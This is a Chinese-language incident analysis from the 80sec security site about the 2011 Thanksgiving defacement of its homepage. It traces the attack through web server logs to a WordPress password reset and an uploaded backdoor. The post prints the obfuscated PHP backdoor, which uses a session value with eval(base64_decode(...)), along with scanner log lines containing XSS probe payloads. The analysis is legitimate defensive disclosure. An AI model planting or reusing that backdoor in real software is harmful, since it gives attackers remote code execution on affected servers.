[ 目录 ]
0×00 事件背景
0×01 应急响应
0×02 事件分析
0×03 事件启示
0×04 总结

0×00 事件背景

在感恩节的晚上，我们的站点遭遇了***，几名未知性别的***成功涂改掉了我们的首页，事情发生后很多朋友对我们被***的原因和经过都很关心，各种猜测都有，加上我们后续对于这次***的分析结果来看，我们觉得整次***和事后应急及分析的过程都适合作为一次典型的案例分析，把整件事情披露出来无论是对我们还是对业界会非常有意义，***者给我们在感恩节送了这么好的礼物，我们要好好接受才对：）

0×01 应急响应

事件发生之后的一段时间我们登录到服务器，由于首页替换的时间很短暂，我们甚至没有抓到截图，开始甚至都怀疑是ARP欺骗或者是DNS劫持之类的***，但是作为应急响应的箴言之一，我们最好不要相信猜测，一切以日志分析为主，一旦猜测我们从开始就输了。
我们知道在webserver的日志里记录了几乎所有有价值的信息，我们后续的检测必须依赖于日志，所以建议各位日志没开的同学先把日志打开并且保存足够长的时间，在这个有价值的信息里，我们第一个需要找准的就是***发生的具体时间点，因为我们是首页被黑并且时间较短，我们迅速stat了下首页文件的内容，发现完全正常没有任何改变：

File: `/home/jianxin/80sec.com/public_html/index.php’
Size: 397 Blocks: 8 IO Block: 4096 regular file
Device: ca00h/51712d Inode: 579843 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin)
Access: 2011-07-13 04:16:57.000000000 +0800
Modify: 2011-07-13 04:16:55.000000000 +0800
Change: 2011-10-14 17:43:32.000000000 +0800

我们知道在linux系统下面的ctime会需要权限较高才能修改，而我们的系统是最新的patch，据我们了解也应该不存在使用未公开的漏洞来***我们的可能，毕竟我们只是一个技术站点，难道真的是ARP或者是Dns劫持么？在webserver的log里有一个选项记录了这一次请求所传递的数据量，我们对比了下发现，的确在某个时间首页的数据量有一个显著的减少：

173.234.184.45 – - [24/Nov/2011:20:44:13 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24″
218.213.229.74 – - [24/Nov/2011:20:44:26 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;

为676字节，而一般的请求大小为

98.142.220.112 – - [25/Nov/2011:00:39:32 +0800] “GET / HTTP/1.1″ 200 31831 “-” “curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15″

31831字节，我们可以确认webserver的确出现了问题，***者的确能够控制我们的首页显示，到这里我们基本可以确定***时间和***的源IP了，当你被黑了的时候，第一个访问那个页面的基本就是***者本人，他们会迫不及待的来看***成果：）
既然服务器有问题了，那我们来看看今天有什么文件被修改了：

find /home/ -ctime 1

立刻我们就发现了一些好玩的东西：

session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

看来这就是那只后门了，写到了一个全局可写的缓存文件里，而且特意做了隐藏，基本是正常的代码也不触发什么关键字，那么问题在于这么一些可爱的代码是怎么到我的服务器上的呢？这个后门我们发现最早出现的时间并不是在80sec里，而是在同一服务器上一个80sec童鞋的Blog里，最早的时间可以追朔到

218.213.229.74 - - [24/Nov/2011:00:12:56 +0800] "GET /wp-content/wp-cache-config.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2"

ip似乎也比较吻合，那么似乎假设如果没有猜错的话，第一个被***的目标应该是这个很勺的80sec童鞋的Blog才对，那么是如何***的呢？我们将日志里与这个ip相关的抽取出来

218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /my HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /User_Login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /conf HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /Test HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /houtai HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /user_login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /sys HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /news_admin HTTP/1.1" 404 7978 "-" "-"

***很早就发生了，甚至还使用了

218.213.229.74 - - [16/Nov/2011:20:29:10 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:12 +0800] "GET /?s= HTTP/1.0″ 200 8620 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=t>alert(1499328686)%3Bt> HTTP/1.0″ 200 8667 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p=t>alert(812396909)%3Bt> HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28990417228%29%3B%22%3E HTTP/1.0″ 200 8586 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s= HTTP/1.0″ 200 8777 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?s= HTTP/1.0″ 200 8816 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%288013950%29%3B%22%3E HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”

一个web扫描工具对站点进行了详细的扫描，连一个功能简单的开源blog都不放过，可以猜测对一般的站点每天要遭受多少蹂躏，最后***者开始找回密码

218.213.229.74 – - [19/Nov/2011:05:25:39 +0800] “GET /wp-admin/p_w_picpaths/button-grad-active.png HTTP/1.1″ 200 575 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:25:40 +0800] “POST /wp-login.php HTTP/1.1″ 200 2155 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:01 +0800] “POST /wp-login.php HTTP/1.1″ 200 2156 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:03 +0800] “GET /wp-login.php?action=lostpassword HTTP/1.1″ 200 1741 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:19 +0800] “POST /wp-login.php?action=lostpassword HTTP/1.1″ 200 2106 “http://sex1986.com/wp-login.php?action=lostpassword” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″

最后，***者的确成功的取回了密码，然后通过这个密码进入了后台，后台的功能比较丰富然后上传了后门，在清楚***者的手法之后我们很快定位了原因和进行了处理，我们的服务器以较低身份运行，而程序文件权限是以属主身份运行，所以整个web目录不可写，较好的控制了***的范围，在对***者放置在各个角落里的后门处理之后，我们修改相应密码恢复了站点的运行；

0×02 事件分析

我们讨论一次***事件，必须要清楚相应的目的，在恢复站点运行之后，我们分析了***者所有的动作，大概可以总结如下这次***更像是针对wooyun.org的一次***，因为wooyun.org近期的一些事情被迁移到日本的vps，所以这可能是一次长期的持久的******，专业点称为APT***，但是由于代码逻辑完全不在这台服务器上，所以***者失败了。
***者在取回邮箱密码的时候手法值得怀疑，尽管整个事件的源头是由于某个很勺的80sec童鞋，这位童鞋虽然很勺，但是绝对不使用弱口令也不会使用生日密码（我们的安全意识不像传闻的那样弱），同时这位悲催的童鞋有两个邮箱，一个邮箱是wordpess的密码找回邮箱！另外一个邮箱同样也是这个wordpress密码邮箱的密码找回邮箱！wordpess和两个邮箱的安全关联层层相扣！未知性别的感恩节***者采用读心术控制了我们这位很纯洁的童鞋的最后一个关键邮箱，在没有漏洞的情况下***进了服务器，得到了大家上面所看到的结果，很伟大，不是么？
通过一段时间的关联分析，我们发现与这次***相关的人都可能遭受到不同程度的牵连，包括曾经在80sec.com上注册的不少用户都通过邮箱找回了密码，而***的来源与此次***者正好相同，这里最大的问题在于，谁能够同时拥有这么多邮箱，包括163，hotmail以及gmail的密码，我们有理由相信这次***与国内很多大型社区的数据库失窃，与传闻的某邮箱数据库失窃有关。
***者所使用的后门开始有意识的进行躲避和查杀，如果不是***者通过缓存直接修改了首页，那么这次***可能隐蔽得更深更长时间，所造成的危害可能更大，对于80sec而言，我们所有的文档和技术都在站点进行分享，并没有安全级别要求较高的数据，所以可能影响不大，但是对于一些包含重要数据的企业和网站而言，同时我们事后发现***者所使用的IP是一家站点，很可能该家站点已经被攻陷作为跳板，如何在***发生和尝试发生时发现和阻止将是一件很有挑战的事情。

0×03 事件启示

在这件事情里，我们觉得对我们最有意义包括两点，一点是现有互联网认证机制的崩溃，这主要表现在目前的互联网的认证是基于电子邮件的认证，电子邮件在各个企业和互联网公司都被用作标识用户身份，而经过近几年***一轮又一轮的洗礼，目前国内互联网企业里含有较大用户基数的站点都可能已经沦陷，而在即使知道自己用户数据库被窃取之后大多数的企业基于自身利益原因还是会保持沉默。***在攒积大量的用户密码之后，就可以使得基于账户密码，基于邮箱认证的现有安全认证机制失效，这已经是现有互联网企业的灾难，请想想你们企业内部邮箱是否对外，以及邮箱是否是静态密码，如果邮箱是内部，那么×××呢，而这种安全机制的失效又称为***者攒积新的数据库的基础，形成一个巨大的黑色雪球，彻底瓦解互联网安全。
另外一部分是关于apt***的，理论上我们只要有一个目标，基本是没有攻破不了的，特别是对于大企业而言，架构的改动，IDC的扩充，企业并购和投资都可能为你的安全体系引入新的风险，如何在一个动态的环境下建设一个较为完善的安全体系，这将是安全人员面临的一个巨大挑战，因为从这一次时间里就可以看到，我们并没有因为是存在什么实际的漏洞而导致被***。

0×04 总结

在80sec出现问题之后，不少人猜测是漏洞还是什么原因遭受***，有人怀疑是安全意识问题，也有一些安全厂商询问是否可以通过WAF或者其他的安全产品来避免此次安全事件，不过在事件披露之后，相信大家应该很清楚能否通过现有产品来避免此类的***行为，我们的安全概念需要更新了，不只是漏洞也不只是安全意识了，包括安全的理解，对***的理解都需要有一个全新的认识了，最后欢迎微博上某位产品安全厂商开发出能够保护我们的安全产品，也欢迎***者可以联系到我们看看我们的整个过程的分析是否正确

本站内容均为原创，转载请务必保留署名与链接！
80sec感恩节事件分析:http://www.80sec.com/80sec-attack-defend.html